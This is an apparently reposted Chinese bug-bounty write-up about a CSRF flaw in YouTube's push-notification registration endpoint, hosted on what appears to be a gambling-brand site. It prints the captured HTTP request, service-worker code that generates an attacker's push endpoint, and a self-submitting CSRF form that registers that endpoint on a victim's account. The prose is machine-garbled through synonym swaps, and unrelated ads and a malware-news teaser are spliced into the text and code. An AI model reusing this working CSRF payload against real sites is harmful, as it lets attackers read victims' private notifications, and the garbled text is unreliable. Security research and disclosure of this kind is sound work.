应用CSRF破绽挟制YouTube用户关照 | 申博官网
登录
  • 欢迎进入申博官网!
  • 如果您觉得申博官网对你有帮助,那么赶紧使用Ctrl+D 收藏申博官网并分享出去吧
  • 这里是申博官方网!
  • 申博官网是菲律宾sunbet官网品牌平台!
  • 申博开户专业品牌平台!

应用CSRF破绽挟制YouTube用户关照

申博_新闻事件 申博 125次浏览 已收录 0个评论

linux挖矿病毒DDG革新后重出江湖舒展Windows平台

背景概述 近日,深信服安全团队捕获一枚Linux、windows双平台的挖矿病毒样本,通过安全人员分析确认,该木马是通过redis漏洞传播的挖矿木马DDG的最新变种,使用当前最新的go语言1.10编译使用了大量的基础库文件,该木马会大量消耗服务器

在本文中,我们将会为读者剖析应用CSRF挟制YouTube用户关照的历程。故事发生在某天的子夜,事先,我正在YouTube上闲逛,无意中打开了本身的关照页面,详细请求以下所示:

POST /notifications_ajax?action_register_device=1 HTTP/1.1
Host: www.youtube.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:65.0) Gecko/20100101 Firefox/65.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://www.youtube.com/sw.js
Content-Type: multipart/form-data; boundary=---------------------------41184676334
Origin: https://www.youtube.com
Content-Length: 1459
Connection: close
Cookie: duh, cookies!
 
-----------------------------41184676334
Content-Disposition: form-data; name="endpoint"
 
https://updates.push.services.mozilla.com/wpush/v1/gAAA...
-----------------------------41184676334
Content-Disposition: form-data; name="device_id"
 
dbe8453d99714c6160994fdf5bb3c59332df04278a...
-----------------------------41184676334
Content-Disposition: form-data; name="p256dh_key"
 
BBNVkVOt6tpY1KvJJqtLvqt...
-----------------------------41184676334
Content-Disposition: form-data; name="auth_key"
 
V5-_lh6nYT2zoY...
-----------------------------41184676334
Content-Disposition: form-data; name="permission"
 
granted
-----------------------------41184676334--

人人能够猜到我要说甚么了!乍一看,一切这些参数,如auth_key、p256dh_key、endpoint、device_id,好像是用于防备CSRF的,但实际上,一切这些参数都是由Firefox为推送关照天生的。因而,这就意味着在这个端点上根本就没有供应CSRF保护措施。

想到这里,我后背一冷!岂非我在YouTube上发明了一个CSRF破绽?

深入研究后,我发明HTTP请求的referrer为“https:/www.youtube.com/sw.js”,即这些请求的都是由service worker发送的,因而,这个请求与YouTube上一切其他具有CSRF保护措施的请求都是分歧的。

我确信,这的确是一个破绽,但我也听说过,提交破绽时,须要同时供应响应的POC或GTFO:P。因而,我还必需建立一个很好的PoC,以便于谷歌的VRP团队复现该破绽。为此,我最先深入研究这些参数的天生体式格局。

在这个历程当中,https://developer.mozilla.org/en-US/docs/Web/API/Push_API为我供应了莫大的资助。

经由一番勤奋以后,终究写成了3段代码,并在当地服务器上运转,以天生响应的凭据:

index.html

<!DOCTYPE html>
<html>
<head>
    <meta charset="utf-8" />
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <title>Push Demo</title>
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <link rel="stylesheet" type="text/css" media="screen" href="index.css" />
    <script src="index.js"></script>
</head>
<body>
    <h1>Hello World</h1>
    <button id="permission-btn" onclick="main()">Ask Permission</button>
</body>
</html>
 
index.js
 
    const check = () => {
      if (!('serviceWorker' in navigator)) {
        throw new Error('No Service Worker support!')
      }
      if (!('PushManager' in window)) {
        throw new Error('No Push API Support!')
      }
    }
    const registerServiceWorker = async () => {
      const swRegistration = await navigator.serviceWorker.register('sw.js')
      return swRegistration
    }
    const requestNotificationPermission = async () => {
      const permission = await window.Notification.requestPermission()
      if (permission !== 'granted') {
        throw new Error('Permission not granted for Notification')
      }
    }
    const main = async () => {
      check()
      const swRegistration = await registerServiceWorker()
      const permission = await requestNotificationPermission()
    }

sw.js

————————————-

申博网络安全巴士站

申博-网络安全巴士站是一个专注于网络安全、系统安全、互联网安全、信息安全,全新视界的互联网安全新媒体。

————————————-

    self.addEventListener('activate', async () => {   console.log("Hello");
          self.registration.pushManager.subscribe()
      .then(function(subscription) {
              console.log(JSON.stringify(subscription));
      })
      .catch(function(e) {
        console.log(e);
      });
    })
    self.addEventListener("push", function(event) {
      if (event.data) {
        console.log("Push event!! ", event.data.text());
        showLocalNotification("Yolo", event.data.text(),  self.registration);
      } else {
        console.log("Push event but no data");
      }
    });
    const showLocalNotification = (title, body, swRegistration) => {
      const options = {
        body
        // here you can add more properties like icon, image, vibrate, etc.
      };
      swRegistration.showNotification(title, options);
    };

如许,我们就可以取得发起CSRF进击所需的参数。以后,就可以够应用这个破绽在localhost上看到受害者的关照了!

 

应用CSRF破绽挟制YouTube用户关照

实际上,我们就是在建立本身的端点,以便在localhost上吸收关照,稍后,我们将在CSRF表单中运用这些关照。单击index.html上的按钮时,它会请求供应关照权限,注册service worker(sw.js),然后,运用Firefox的API为关照建立端点。

末了一步:CSRF表单。

    <form action="https://www.youtube.com/notifications_ajax?action_register_device=1" method="post" enctype="multipart/form-data" name="csrf">
            <input type="text" name="device_id" value="replace">
            <input type="text" name="permission" value="granted">
                    <input type="text" name="endpoint" value="replace">
                    <input type="text" name="p256dh_key" value="replace=">
                    <input type="text" name="auth_key" value="replace">
            <input type="submit">
            <script type="text/javascript">document.csrf.submit();</script>
    </form>
    </html>

以后,我实验从另一个帐户提交这个CSRF表单,居然胜利了!! 天啊!它确切见效了。因而,受害者关照的PUSH webhook被设置成了进击者的webhook。接下来,我们必需触发受害者那里的任何东西,比如对私家视频举行批评,该关照就会被触发:

应用CSRF破绽挟制YouTube用户关照

因而,我报告了该破绽,而且,半小时后该破绽就被承认了,并对其举行了分类(我真是太高兴,由于我是个新手,之前还从而取得过bug赏金)

应用CSRF破绽挟制YouTube用户关照

几天后,奖金就到手了:

黑白对决 VXCON 4月27日在香港举办

黑白对决  VXCON将于4月27日在香港九龙观塘兴业街4号9楼The Wave举办。 时间安排 主题演讲:2019年4月27日(周六) Workshop和Village(暂定) 4月25日-26日 Workshop 4月28日 Village 4月29日-30日 Workshop 购票方式请从该活动官网进行


申博|网络安全巴士站声明:该文看法仅代表作者自己,与本平台无关。版权所有丨如未注明 , 均为原创丨本网站采用BY-NC-SA协议进行授权
转载请注明应用CSRF破绽挟制YouTube用户关照
喜欢 (0)
[]
分享 (0)
发表我的评论
取消评论
表情 贴图 加粗 删除线 居中 斜体 签到

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址